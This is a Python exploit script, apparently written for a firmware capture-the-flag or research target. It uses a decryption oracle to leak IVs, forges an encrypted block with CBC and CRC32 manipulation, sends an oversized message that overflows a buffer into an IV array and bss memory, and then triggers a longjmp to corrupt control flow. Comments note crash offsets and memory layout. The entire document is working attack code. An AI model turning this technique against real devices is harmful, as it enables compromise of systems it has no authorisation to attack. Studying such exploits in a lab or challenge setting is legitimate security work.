from fwexploit_base import *

def get_ivs():
    for i in range(10):
        add(Message(mode=0, data=b"\0" * 32))
    data = decrypt(10)
    cts = [d.data.ljust(32, b"\0") for d in data]
    return [xor(ct[:16], ct[16:32]) for ct in cts]

ivs = get_ivs()
log.info("ivs: %s", [iv.hex() for iv in ivs])

block_old = struct.pack("<IIII", crc32(b"A" * 16), 16, 10, 0)
block_new = struct.pack("<IIII", 133731337, 256, 11, 0)
block_dec = decrypt_block(block_new)
prev_block_enc = xor(block_old, block_dec)
prev_block_dec = decrypt_block(prev_block_enc)

for i in range(9):
    add(Message(mode=0, data=b"A" * 16))

add(Message(mode=0, data=b"A" * 256))
data = encrypt(10)

prev_block_pt = xor(data[-1].data[224:240], prev_block_dec)

for i in range(9):
    add(Message(mode=0, data=b"A" * 16))

# size_mode0=272 + 512 + 16 = no crash
# size_mode0=272 + 512 + 32 = crash after longjmp
# size_mode0 = 1552 = immediate crash: bss only extends to 0x16fff
# size_mode0 = 272 + 384 overwrites the first 7 ivs: ivs array starts at 0xc28
add(Message(mode=1, size_mode0=272 + 512 + 32, data=b"A" * 240 + prev_block_pt, size_mode1=16, crc=crc32(b"A" * 16)))
encrypt(10)

ivs = get_ivs()
log.info("ivs: %s", [iv.hex() for iv in ivs])

# trigger longjmp
write_pkt(0x11111)
write_pkt(0x11111)
write_pkt(0x11111)
log.info("response 1: %s", read_responses())
log.info("response 2: %s", read_responses())
log.info("response 3: %s", read_responses())